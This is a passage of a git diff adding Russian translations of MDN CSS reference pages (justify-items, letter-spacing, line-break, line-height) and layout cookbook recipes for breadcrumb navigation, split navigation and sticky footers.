+/* Выравнивание при переполнении (только для выравнивания положения) */
+justify-items: safe center;
+justify-items: unsafe center;
+
+/* Унаследованное выравнивание */
+justify-items: legacy right;
+justify-items: legacy left;
+justify-items: legacy center;
+
+/* Глобальные значения */
+justify-items: inherit;
+justify-items: initial;
+justify-items: unset;
+</pre>
+
+<p>Этот атрибут может принимать одну из четырех различных форм:</p>
+
+<ul>
+ <li>Основные ключевые слова: одно из значений ключевого слова: <code>normal</code>, <code>auto</code>, или <code>stretch</code>.</li>
+ <li>Исходное выравнивание: ключевое слово <code>baseline</code>  плюс одно ключевое слово по выбору: <code>first</code> или <code>last</code>.</li>
+ <li>Выравнивание положения: одно из ключевых слов: <code>center</code>, <code>start</code>, <code>end</code>, <code>flex-start</code>, <code>flex-end</code>, <code>self-start</code>, <code>self-end</code>, <code>left</code>, или <code>right</code>. Плюс ключевое слово по выбору: <code>safe</code> или <code>unsafe</code>.</li>
+ <li>Унаследованное выравнивание: ключевое слово <code>legacy</code>, за которым следует ключевое слово <code>left</code> или <code>right</code>.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Используемое значение является значением атрибута <code>justify-items</code> родительского блока. Если у блока нет родительского элемента или он абсолютно спозиционирован, то в этих случаях значение <code>auto</code> представляет собой значение <code>normal</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Эффект этого атрибута зависит от выбранного способа разметки:
+ <ul>
+  <li>Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова <code>start</code></li>
+  <li>Для разметки с абсолютно позиционнированными элементами, это ключевое слово ведет себя как <code>start</code> на замененных блоках с абсолютным позиционированием и как <code>stretch</code> на всех остальных блоках с абсолютным позиционированием</li>
+  <li>Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li>
+  <li>Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li>
+  <li>Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению <code>stretch</code>, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code></li>
+ </ul>
+ </dd>
+ <dt><code>start</code></dt>
+ <dd>Элемент выравнивается на одном уровне друг с другом по направлению к начальной границе контейнера выравнивания по соответствующей оси.</dd>
+ <dt><code>end</code></dt>
+ <dd>Элемент выравнивается на одном уровне друг с другом по направлению к конечной границе  контейнера выравнивания по соответствующей оси.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Для элементов, которые не являются потомками flex контейнера, это значение обрабатывается как <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Для элементов, которые не являются потомками flex контейнера, это значение обрабатывается как <code>end</code>.</dd>
+ <dt><code>self-start</code></dt>
+ <dd>Элемент выравнивается на одном уровне с границей контейнера выравнивания начальной стороны элемента по соответствующей оси.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Элемент выравнивается на одном уровне с границей контейнера выравнивания конечной стороны элемента по соответствующей оси.</dd>
+ <dt><code>center</code></dt>
+ <dd>Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.</dd>
+ <dt><code>left</code></dt>
+ <dd>Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd>
+ <dt><code>right</code></dt>
+ <dd>Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Определяет участие значений <code>first baseline</code> или <code>last baseline</code> в исходном выравнивании. Значение <code>baseline</code> выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.</dd>
+ <dd>Возвратным выравниванием для <code>first baseline</code> является значение <code>start</code>, для <code>last baseline</code> является значение <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением <code>auto</code> увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.</dd>
+ <dt><code>legacy</code></dt>
+ <dd>Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение <code>justify-self: auto</code>, ключевое слово <code>legacy</code> не учитывается по нисходящему наследованию. Действует только со значением <code>left</code>, <code>right</code>, или <code>center</code>, связанным с ним.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-justify-items", "justify-items")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице формируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на включение изменений.</div>
+
+<h3 id="Поддержка_в_разметке_Flex">Поддержка в разметке Flex</h3>
+
+<p>{{Compat("css.properties.justify-items.flex_context")}}</p>
+
+<h3 id="Поддержка_в_разметке_Grid">Поддержка в разметке Grid</h3>
+
+<p>{{Compat("css.properties.justify-items.grid_context")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>CSS Руководство по Grid: <em><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Выравнивание блоков в разметке Grid</a></em></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">CSS Выравнивание блоков</a></li>
+ <li>Сокращенный атрибут {{CSSxRef("place-items")}}</li>
+ <li>Атрибут {{CSSxRef("justify-self")}}</li>
+ <li>Атрибут {{CSSxRef("align-items")}}</li>
+</ul>
+</div>
diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html
new file mode 100644
index 0000000000..f2452542a7
--- /dev/null
+++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html
@@ -0,0 +1,62 @@
+---
+title: Breadcrumb Navigation
+slug: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
+translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.</p>
+
+<p><img alt="Links displayed inline with separators" src="https://mdn.mozillademos.org/files/16228/breadcrumb-navigation.png" style="height: 108px; width: 1268px;"></p>
+
+<h2 id="Требование">Требование</h2>
+
+<p>Элементы обычно отображаются в строке с разделителем, чтобы указать иерархию между отдельными страницами.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/breadcrumb-navigation.html", '100%', 530)}}</p>
+
+<div class="note">
+<p><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/breadcrumb-navigation--download.html">Загрузить этот пример</a></p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечение</strong>: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p>
+
+<pre class="notranslate">.breadcrumb li:not(:first-child)::before {
+  content: "→";
+}
+</pre>
+
+<p>Это решение использует более сложный селектор, но требует меньше правил. Смело выбирайте то решение, которое вам больше по душе.</p>
+</div>
+
+<h2 id="Сделанный_выбор">Сделанный выбор</h2>
+
+<p>Этот шаблон построен с использованием простого гибкого макета, демонстрирующего, как строка CSS может дать нам нашу навигацию. Разделители добавляются с использованием содержимого, созданного CSS. Вы можете изменить их на любой разделитель, который вам нравится.</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Я использовал атрибуты <code>aria-label </code>и <code>aria-current</code>, чтобы помочь пользователям понять, что это за навигация и где в структуре находится текущая страница.<br>
+ Смотреть связанные ссылки для получения дополнительной информации.</p>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Различные методы компоновки имеют разную поддержку браузером. Смотреть диаграммы ниже для получения подробной информации о базовой поддержке используемых свойств.</p>
+
+<div class="hidden">
+<p>Таблица совместимости на этой странице создана на основе структурированных данных. Если вы хотите внести свой вклад в данные, посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</p>
+</div>
+
+<h4 id="Flexbox">Flexbox</h4>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">Смотреть также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G65.html">Создание следа из хлебных крошек</a></li>
+ <li><a href="https://tink.uk/using-the-aria-current-attribute/">Использование атрибута aria-current</a></li>
+</ul>
diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html
new file mode 100644
index 0000000000..5c53652804
--- /dev/null
+++ b/files/ru/web/css/layout_cookbook/index.html
@@ -0,0 +1,67 @@
+---
+title: CSS Layout cookbook
+slug: Web/CSS/Layout_cookbook
+tags:
+  - CSS
+  - Layout
+  - NeedsTranslation
+  - TopicStub
+  - cookbook
+  - recipes
+translation_of: Web/CSS/Layout_cookbook
+---
+<div>{{CSSRef}}<br>
+Книга рецептов CSS объединяет примеры большинства наиболее распространненых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.<br>
+<br>
+В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.</div>
+
+<div><br>
+<strong>Примечание.</strong> Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.</div>
+
+<h2 id="The_Recipes">The Recipes</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Recipe</th>
+   <th scope="col">Description</th>
+   <th scope="col">Layout Methods</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Media_objects">Media Objects</a></td>
+   <td>A two-column box with an image on one side and descriptive text on the other, e.g. a facebook post or tweet.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, {{cssxref("float")}} fallback, {{cssxref("fit-content")}} sizing</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Column_layouts">Columns</a></td>
+   <td>When to choose multi-column layout, flexbox or grid for your columns</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Columns">Multicol</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Center_an_element">Center an element</a></td>
+   <td>How to center an item horizontally and vertically</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Sticky_footers">Sticky footers</a></td>
+   <td>Creating a footer which sits at the bottom of the container or viewport when the content is shorter. </td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Split_Navigation">Split Navigation</a></td>
+   <td>A navigation pattern where some links are visually separated from the others.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, {{cssxref("margin")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Breadcrumb_Navigation">Breadcrumb Navigation</a></td>
+   <td>Creating a list of links to allow the visitor to navigate back up through the page hierarchy.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Contribute_a_Recipe">Contribute a Recipe</h2>
+
+<p>As with all of MDN we would love you to contribute a recipe in the same format as the ones shown above. <a href="/en-US/docs/user:chrisdavidmills/Layout_Cookbook_Home/Contribute_a_recipe">See this page</a> for a template and guidelines for writing your own example.</p>
diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html
new file mode 100644
index 0000000000..5f08999af1
--- /dev/null
+++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html
@@ -0,0 +1,48 @@
+---
+title: Раздельная навигация
+slug: Web/CSS/Layout_cookbook/Split_Navigation
+translation_of: Web/CSS/Layout_cookbook/Split_Navigation
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Навигационный паттерн, в котором один или более элементов отделены от остальных элементов навигации.</p>
+
+<p><img alt="Items separated into two groups." src="https://mdn.mozillademos.org/files/16227/split-navigation.png" style="height: 145px; width: 1272px;"></p>
+
+<h2 id="Требования">Требования</h2>
+
+<p>Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. </p>
+
+<h2 id="Рецепт">Рецепт</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/split-navigation.html", '100%', 520)}}</p>
+
+<div class="note">
+<p><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/split-navigation--download.html">Download this example</a></p>
+</div>
+
+<h2 id="Choices_made">Choices made</h2>
+
+<p>Этот паттерн объединяет margin со значением auto и Flexbox для разделения элементов.</p>
+
+<p>Auto margin поглощает все доступное пространство в указанном направлении. Так же работает центрирование блока с автоматическими margin - вы имеете отступы на каждой стороне блока, пытающиеся занять все доступное пространство, таким образом толкая блок в центр.</p>
+
+<p>В этом случаи левый auto margin занимает любое доступное пространство и толкает элемент к правому краю. Вы могли применить класс push к любому элементу в списке.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>The various layout methods have different browser support. See the charts below for details on basic support for the properties used.</p>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h4 id="Flexbox">Flexbox</h4>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a></li>
+</ul>
diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html
new file mode 100644
index 0000000000..945d727438
--- /dev/null
+++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html
@@ -0,0 +1,70 @@
+---
+title: Sticky footers
+slug: Web/CSS/Layout_cookbook/Sticky_footers
+translation_of: Web/CSS/Layout_cookbook/Sticky_footers
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Шаблон нижнего колонтитула - это шаблон, в котором нижний колонтитул вашей страницы «прилипает» к нижней части области просмотра в тех случаях, когда содержимое короче высоты области просмотра. В этом рецепте мы рассмотрим несколько методов для создания одного из них.</p>
+
+<p><img alt="A sticky footer pushed to the bottom of a box" src="https://mdn.mozillademos.org/files/16184/cookbook-footer.png" style="height: 807px; width: 1213px;"></p>
+
+<h2 id="Requirements">Requirements</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Липкий шаблон нижнего колонтитула должен соответствовать следующим требованиям:</span></span><br>
+  </p>
+
+<ul>
+ <li><span title="">Нижний колонтитул прилипает к нижней части области просмотра, когда содержание короткое.</span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Если содержимое страницы выходит за нижнюю часть области просмотра, нижний колонтитул располагается ниже содержимого, как обычно.</span></span></li>
+</ul>
+
+<h2 id="The_recipe">The recipe</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/sticky-footer--download.html">Download this example</a></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: In this example and the following one we are using a wrapper set to <code>min-height: 100%</code> in order that our live example works. You could also achieve this for a full page by setting a {{cssxref("min-height")}} of <code>100vh</code> on the {{htmlelement("body")}} and then using it as your grid container.</p>
+</div>
+
+<h2 id="Выбор_сделан">Выбор сделан</h2>
+
+<p>В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс <code>.wrapper</code> имеет минимальную высоту <code>100%</code>, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.</p>
+
+<p>При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку <code>1fr</code>, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек <code>1fr</code> будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.</p>
+
+<h2 id="Alternate_method">Alternate method</h2>
+
+<p>If you need compatibility with browsers that do not support Grid Layout you can also use Flexbox to create a sticky footer.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer-flexbox.html", '100%', 720)}}</p>
+
+<p>The flexbox example starts out in the same way, but we use <code>display:flex</code> rather than <code>display:grid</code> on the <code>.wrapper</code>; we also set <code>flex-direction</code> to <code>column</code>. Then we set our main content to <code>flex-grow: 1</code> and the other two elements to <code>flex-shrink: 0</code> — this prevents them from shrinking smaller when content fills the main area.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h4 id="grid-template-rows">grid-template-rows</h4>
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h4 id="flex-direction">flex-direction</h4>
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h4 id="flex-grow">flex-grow</h4>
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h4 id="flex-shrink">flex-shrink</h4>
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Resources_on_MDN">Resources on MDN</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of Grid Layout</a></li>
+</ul>
diff --git a/files/ru/web/css/letter-spacing/index.html b/files/ru/web/css/letter-spacing/index.html
new file mode 100644
index 0000000000..950325c331
--- /dev/null
+++ b/files/ru/web/css/letter-spacing/index.html
@@ -0,0 +1,129 @@
+---
+title: letter-spacing
+slug: Web/CSS/letter-spacing
+translation_of: Web/CSS/letter-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>letter-spacing</code></strong> определяет межбуквенное расстояние в тексте.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}</div>
+
+<p class="hidden">Исходники для интерактивных примеров находятся в репозитории на GitHub. Если вы желаете поучавствовать в их улучшении, пожалуйста склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull-реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения - ключевые слова */
+letter-spacing: normal;
+
+/* Значения &lt;length&gt; */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* Глобальные значения */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Стандартное межбуквенное расстояние для текущего шрифта. В отличие от значения <code>0</code>, это ключевое слово позволяет {{glossary("User Agent", "агенту пользователя")}} изменить расстояние между буквами для выравнивания текста.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Определяет дополнительное расстояние между буквами <em>добавляющееся</em> к стандартному расстоянию между символами. Значение может быть отрицательным, но при этом могут быть ограничения, зависящие от конкретной реализации. Агент пользователя может не увеличивать или уменьшать межбуквенное расстояние для выравнивания текста.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;letter spacing&lt;/p&gt;
+&lt;p class="em-wide"&gt;letter spacing&lt;/p&gt;
+&lt;p class="em-wider"&gt;letter spacing&lt;/p&gt;
+&lt;p class="em-tight"&gt;letter spacing&lt;/p&gt;
+&lt;p class="px-wide"&gt;letter spacing&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.normal   { letter-spacing: normal; }
+.em-wide  { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide  { letter-spacing: 6px; }
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Примеры', 440, 185) }}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Большие положительные или отрицательные значения свойства <code>letter-spacing</code> могут сделать текст, к которому применяется форматирование, нечитаемым. При очень больших положительных значениях этого свойтва, буквы в тексте будут настолько далеко друг от друга, что не будут восприниматься как цельные слова. При очень больших отрицательных значениях буквы будут перекрываться друг другом до такой степени, что слова могут стать неразличимы.</p>
+
+<p>Межбуквенное расстояние должно быть определено индивидуально для каждого случая, так как в разных семействах шрифтов ширина символов различна. Нет какого-то универсального значения, которое может быть применено для наилучшего отображения во всех семействах шрифтов.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8  | W3C Understanding WCAG 2.0</a> </li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>letter-spacing</code> как доступное к анимированию.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Первоначальное определение в SVG.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости была сформирована из структурированных данных. Если вы хотите уточнить информацию, пожалуйста, склонируйте репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-реквест.</div>
+
+<p>{{Compat("css.properties.letter-spacing")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("font-kerning")}}</li>
+</ul>
diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html
new file mode 100644
index 0000000000..dd3acb4f53
--- /dev/null
+++ b/files/ru/web/css/line-break/index.html
@@ -0,0 +1,68 @@
+---
+title: line-break
+slug: Web/CSS/line-break
+tags:
+  - разрыв строки
+translation_of: Web/CSS/line-break
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-свойство <strong><code>line-break</code></strong> устанавливает способ разрыва строки текста на китайском, японском или корейском (CJK) при работе с пунктуацией и символами.</p>
+
+<pre class="brush:css no-line-numbers">/* Значения ключевым словом */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+
+/* Глобальные значения */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+</pre>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Разрыв текста, используя правило разрыва строки по умолчанию.</dd>
+ <dt><code>loose</code></dt>
+ <dd>Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Разрыв текста, используя наиболее распространенное правило разрыва строки.</dd>
+ <dt><code>strict</code></dt>
+ <dd>Разрыв текста, используя самое строгое правило разрыва строки.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.line-break")}}</p>
diff --git a/files/ru/web/css/line-height/index.html b/files/ru/web/css/line-height/index.html
new file mode 100644
index 0000000000..28ad87f355
--- /dev/null
+++ b/files/ru/web/css/line-height/index.html
@@ -0,0 +1,170 @@
+---
+title: line-height
+slug: Web/CSS/line-height
+translation_of: Web/CSS/line-height
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="https://developer.mozilla.org/ru/docs/Web/css">CSS</a> <strong><code>line-height</code></strong> устанавливает величину пространства между строками, например в тексте. В блочных элементах оно указывает минимальную высоту блоков строк внутри элемента. В <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%97%D0%B0%D0%BC%D0%B5%D1%89%D0%B0%D0%B5%D0%BC%D1%8B%D0%B9_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">незамещаемых</a> внутристрочных элементах —указывает высоту, которая используется для вычисления высоты блоков строк.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/line-height.html")}}</div>
+
+
+
+<p dir="rtl" id="Syntax"></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Keyword value */
+line-height: normal;
+
+/* Unitless values: use this number multiplied
+by the element's font size */
+line-height: 3.5;
+
+/* &lt;length&gt; values */
+line-height: 3em;
+
+/* &lt;percentage&gt; values */
+line-height: 34%;
+
+/* Global values */
+line-height: inherit;
+line-height: initial;
+line-height: unset;
+</pre>
+
+<p dir="rtl"></p>
+
+<p>Свойство <code>line-height</code> задаётся с помощью:</p>
+
+<ul>
+ <li><code><a href="#&lt;number>">&lt;числа&gt;</a></code></li>
